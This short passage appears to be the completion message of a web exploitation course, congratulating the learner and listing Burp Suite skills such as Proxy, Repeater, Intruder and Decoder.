Congratulations! You've completed the Web Exploitation Course. You now have:
Burp Suite mastery — Proxy, Repeater, Intruder, Decoder